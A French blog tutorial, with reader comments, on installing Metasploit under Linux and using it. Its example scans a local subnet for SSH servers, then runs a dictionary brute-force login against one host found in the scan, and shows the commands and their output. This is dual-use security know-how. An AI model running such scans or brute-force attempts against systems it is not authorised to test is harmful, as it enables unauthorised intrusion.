Fusée
Metasploit Framework est un logiciel spécialisé dans le développement et l'exécution d'exploits contre des machines distantes. Créé à l'origine en langage de programmation Perl, Metasploit a été complètement ré-écrit en Ruby et comporte aujourd'hui pas moins de 550 exploits et 260 modules près à l'emploi. Dans cet article, nous allons voir comment installer Metasploit sous Linux, puis nous verrons ensuite un premier exemple d'utilisation.

Metasploit

Sommaire

Installer Metasploit sous Linux

Pour installer Metasploit sous Linux, nous avons besoin de quelques paquets spécifiques. Ouvrez un terminal en root et lancez la commande suivante, pour une distribution à base de RPM :

sudo yum install git ruby ruby-libs ruby-devel ruby-irb readline rubygems rubygem-bundler rubygem-rake rubygem-i18n libpcap-devel postgresql-server postgresql-devel
sudo yum-builddep -y ruby

Ou celle-ci pour une distribution à base de Debian :

sudo apt-get install build-essential git ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev

Une fois terminé, on installera Metasploit depuis la version Git :

git clone git://github.com/rapid7/metasploit-framework
cd metasploit-*
git pull

Metasploit est maintenant installé sur votre machine. La commande git pull, lancée depuis le répertoire d'installation, permettra de le maintenir à jour facilement. Pour lancer le logiciel, on utilisera la commande suivante en root :

./msfconsole

Exemple d'utilisation de Metasploit

Passons sans plus attendre à la partie la plus intéressante : l'utilisation de Metasploit. Dans l'exemple qui suit, nous allons scanner un réseau afin de trouver toutes machines qui possèdent un serveur SSH et obtenir ensuite la version utilisée.

On commence par regarder la liste des scanners SSH disponibles :

search ssh

Puis, on charge le bon scanner et on regarde les options disponibles :

info scanner/ssh/ssh_version
use scanner/ssh/ssh_version
show options

Module options:

Name       Current Setting   Required   Description
--------     ------------------  --------   -----------
RHOSTS                            yes          The target address range or CIDR identifier
RPORT      22                     yes          The target port
THREADS  1                      yes          The number of concurrent threads

On définit ensuite la plage d'adresses IP à scanner (variable RHOSTS) et le nombre de threads à utiliser lors de la recherche :

set RHOSTS 192.168.1.0-192.168.1.255
set THREADS 50
show options

Pour finir, on lance le scan :

run

[*] Scanned 051 of 256 hosts (019% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] 192.168.1.106:22, SSH server version: SSH-2.0-OpenSSH_4.3
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

Nous venons de découvrir une machine (192.168.1.106) qui possède un serveur SSH en version 2.0. Nous allons essayer d'aller plus loin en lançant une attaque par bruteforce sur cette dernière. Rien de plus simple avec le module "ssh_login" :

use scanner/ssh/ssh_login
show options
set RHOSTS 192.168.1.106
set RPORT 22
set THREADS 50

Parmi les options, il est possible de forcer l'arrêt dès qu'un mot de passe fonctionne. On peut également forcer le login et charger un fichier contenant une liste de passwords :

set STOP_ON_SUCCESS true
set USERNAME pti-seb
set PASS_FILE /usr/share/dict/words
run

[*] 192.168.1.106:22 - SSH - Starting buteforce
[*] 192.168.1.106:22 - Attempting 98570 username and password combinations
[*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: ''
[-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':''
[*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aachen'
[-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aachen'
[*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aaliyah'
[-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aaliyah'
[*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aaron'
[-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aaron'
...

Quelques astuces d'utilisation de Metasploit

Si vous êtes arrivé jusqu'ici, c'est que Metasploit vous intéresse. Je vais donc vous donner une liste d'astuces supplémentaires.

Si vous voulez connaître la version de Metasploit utilisée :

msf > version
Framework: 3.4.1-dev.9325
Console : 3.4.1-dev.9372

Pour obtenir de l'aide :

help

Il est par exemple possible de définir des variables de façon globale. Pratique, car comme ça on n'a pas besoin de redéclarer RHOSTS, THREADS..., à chaque fois que l'on change de module. Pour cela, il faut utiliser setg au lieu de set :

setg RHOSTS 192.168.1.0-192.168.1.255
setg THREADS 50

Si l'on veut lister l'intégralité des exploits, modules, playloads :

search

Si l'on veut lister tous les modules de scanners :

search auxiliary ^scanner

Si l'on veut modifier le code source d'un module, on peut utiliser les commandes suivantes :

msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > load editor
msf auxiliary(ssh_version) > edit

Pour quitter Metasploit :

quit

Conclusion

Bien entendu, l'utilisation de Metasploit ne se limite pas qu'aux scanners. Des centaines d'exploits sont également disponibles et permettront d'attaquer tout type de machines (Linux, Windows...). Un outil de fuzzing est également intégré dans les dernières versions. Celui-ci permet de découvrir des vulnérabilités dans des logiciels. Bref, Metasploit est un outil puissant qui n'a pas fini de faire parler de lui.


24 Commentaires pour "Installation et utilisation de Metasploit sous Linux"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Salut,

    Tu diversifies les centre d'intérêt de tes articles ^^ Passage à la sécurité :O

    Fatal1ty , le 8 juin 2010 à 14:32
  •  

    @Fatal1ty : Même qu'il a une section dédiée à ça : http://www.tux-planet.fr/category/securite/

    Olol_GiveMeMilk , le 8 juin 2010 à 17:36
  •  

    @Fatal1ty @Olol_GiveMeMilk : j'allais dire pareil, la catégorie sécurité existe depuis un petit moment. Après c'est vrai que les articles sur ce thème arrivent plutôt par période. Et en ce moment, je suis dans une grosse période Metasploit !!!

    Sinon, certaines personnes critiquent le fait que j'ai pris l'exemple du scanner SSH pour illustrer l'utilisation de Metasploit. Mais ce choix est mûrement réfléchi, car c'est un des rares exemples qui marchera pour tout le monde. Si j'avais opté pour l'utilisation d'un exploit, certains n'auraient pas réussi à l'utiliser (ex: certains exploits nécessitent une version particulière de Windows XP, d'Adobe... sur la machine cible), et cela peut se solder par un échec pour un débutant.

    Le but de cet article est de faire simple et de permettre de comprendre rapidement comment marche Metasploit. D'autres articles arriveront plus tard, avec ce coup-ci l'exploitation de failles, l'injection de payloads (aussi connus sous le nom de shellcodes) ...

    pti-seb , le 8 juin 2010 à 18:02
  •  

    Salut !
    j'ai essayé d'installer Metasploit mais au moment de creer le svn il me dit :

    svn: OPTIONS of 'http://metasploit.com/svn/framework3/trunk': Could not resolve hostname `metasploit.com': Temporary failure in name resolution (http://metasploit.com)

    et dans un navigateur j'ai une erreur 404 pour cette adresse ... ça a changé ?

    Muy_Bien , le 16 juin 2010 à 10:36
  •  

    @Muy_Bien : tu as clairement un problème de DNS. Le domaine metasploit.com fonctionne très bien chez moi...

    pti-seb , le 16 juin 2010 à 12:19
  •  

    Juste pour dire qui à plus simple pour l'installation.

    - On va sur http://www.metasploit.com/framework/download/
    - On télécharge "framework-3.4.0-linux-***.run" note : (Include All Dependencies)
    - On donne les droits d'exécution
    - On lance dans un terminal

    Et voilà =)

    Et c'est cache Up2Date en plus.

    Bjnn , le 16 juin 2010 à 23:24
  •  

    @Bjnn : l'avantage de la méthode SVN est que tu te retrouve avec un metasploit à jour, surtout au niveau des modules. Un simple "svn up" permet de récupérer les dernières versions.

    Je doute que l'installation par le binaire, comme tu l'indique, permette ce genre de chose.

    pti-seb , le 16 juin 2010 à 23:45
  •  

    Je l'ai installé il y a quelques heures sur ma partition ubuntu, avec la procédure que j'ai indiqué.
    Et sans avoir fait quoi que ce soit d'autre j'obtient ça :

    =[ metasploit v3.4.1-dev [core:3.4 api:1.0]
    + -- --=[ 563 exploits - 271 auxiliary
    + -- --=[ 209 payloads - 26 encoders - 8 nops
    =[ svn r9532 updated yesterday (2010.06.15)

    En sachant que lors de l'installation, le binaire propose de mettre le framework directement à jour.
    Le svn r9532 me laisse pensait que ça revient à la même chose non ?

    Bjnn , le 17 juin 2010 à 00:12
  •  

    @Bjnn : ha ok. Bon ben visiblement le binaire se met à jour par la méthode SVN. Donc les deux installation reviennent au même.

    pti-seb , le 17 juin 2010 à 09:09
  •  

    @pti-seb : Sisi ! Le .run permet un update par un script !

    Tristan , le 17 juin 2010 à 22:10
  •  

    nice, is there a GUI front-end to this?

    ethnopunk , le 4 juillet 2010 à 21:14
  •  

    @ethnopunk : yes you have a GUI interface (based on Gtk2) and a web interface. You can launch them with those commands :
    ./msfgui
    ./msfweb

    For the Web interface, you must open a browser at this URL above to use it :
    http://127.0.0.1:55555

    pti-seb , le 4 juillet 2010 à 23:18
  •  

    Juste pour préciser qu'en remplacant http par https pour le svn j'ai réussi à le télécharger.
    cf : mon 1er post ou je n'y suis pas arrivé.

    Muy_Bien , le 25 août 2010 à 16:43
  •  

    Bonjour

    Un très bon tuto,

    pour la première tentative, il a fonctionné convenablement.
    mais après chaque scan il me retourne l'erreur suivante
    msf auxiliary(ssh_login) > run
    [-] Auxiliary failed: Msf::OptionValidateError The following options failed to validat: PASS_FILE.

    C'est quoi le problème???

    ghaith , le 10 novembre 2010 à 16:45
  •  

    @ghaith : PASS_FILE permet d'indiquer un fichier qui contient une liste de mots de passe. Comme ça, en regardant le message d'erreur, j'ai l'impression qu'il essaye de tester un mot de passe, mais qu'il arrive pas à le mettre dans la variable. Peux-être à cause d'un caractère spéciaux, un problème d'encodage du fichier ...

    Sinon il te reste le bugzilla de Metasploit...

    pti-seb , le 11 novembre 2010 à 00:28
  •  

    Bonjour moi j'ai ce message apres avoir lancé la commande
    xxxxxxxxxxxmetasploit$ search ssh
    Sphinx 0.9.9-release (r2117)
    Copyright (c) 2001-2009, Andrew Aksyonoff

    using config file '/etc/sphinxsearch/sphinx.conf'...
    FATAL: failed to connect to MySQL (error=Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2))
    xxxxxxxxxxx/metasploit$ svn up
    À la révision 11109.

    ptitom , le 23 novembre 2010 à 13:23
  •  

    la façon d'installer avec le .run est plus judicieu il mettra metasploit par défaut dans /opt/

    en 3 commande c'est fait wget framework.run
    chmod +x le.run
    sudo ./le.run

    et ensuite on le lance avec msfconsole

    coyotus , le 15 décembre 2010 à 13:40
  •  

    @ptitom : essaye de le lancer sans le support des bases de données :

    ./msfconsole --no-database

    @coyotus : l'avatange du svn est d'avoir les derniers exploits...

    pti-seb , le 15 décembre 2010 à 13:41
  •  

    pendant l'installation via le .run il propose de mettre à jour,

    de plus via le svn on ne peut le lancer que depuis le répertoire de metasploit.

    coyotus , le 15 décembre 2010 à 17:55
  •  

    bonjour a tous merci pour ce tuto mais j'ai un petit souci je bloque lors du lancement run j'ai configurer le set RHOSTS EN 198.168.1.06192.168.1.255 et le THREADS 50 mais lorsque je lance le run cela me marque auxiliary failed: Msf :: ptionValidateError The Following options failed to validate: RHOSTS.
    Merci de m'éclairer un peu plus la dessus svp

    sydge87 , le 11 juin 2011 à 14:00
  •  

    @sydge87 : bien la plage d'adresses 198.168.1.06192.168.1.255 n'est pas valide. Ce ne serait pas putôt ceci :

    set RHOSTS 192.168.1.6-192.168.1.255

    pti-seb , le 11 juin 2011 à 14:34
  •  

    Installer par défaut sur BackTrack tt les version ... merci pour le tutoriel et les astuces :)

    SMed79 , le 22 janvier 2012 à 07:37
  •  

    Tres interessant, j'admire bcp votre blog sinon j'aimerais bien savoir beaucoup plus sur des exploits avec Metasploit. Merci ! :)

    elahmed , le 24 janvier 2012 à 07:15
  •  

    Bonjour, j'ai unh soucis lors de l'execution de msfconsole, j'ai mis a jour mes dépendances, mais là je ne vois pas quoi faire ! si quelqu'un a une reponse, merci d'avance !

    /home/valentin/metasploit-framework/config/boot.rb:19: undefined method `to_path' for # (NoMethodError)
    from /home/valentin/metasploit-framework/config/boot.rb:15:in `each'
    from /home/valentin/metasploit-framework/config/boot.rb:15
    from ./msfconsole:45:in `require'
    from ./msfconsole:45

    valentin , le 6 décembre 2014 à 00:50

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum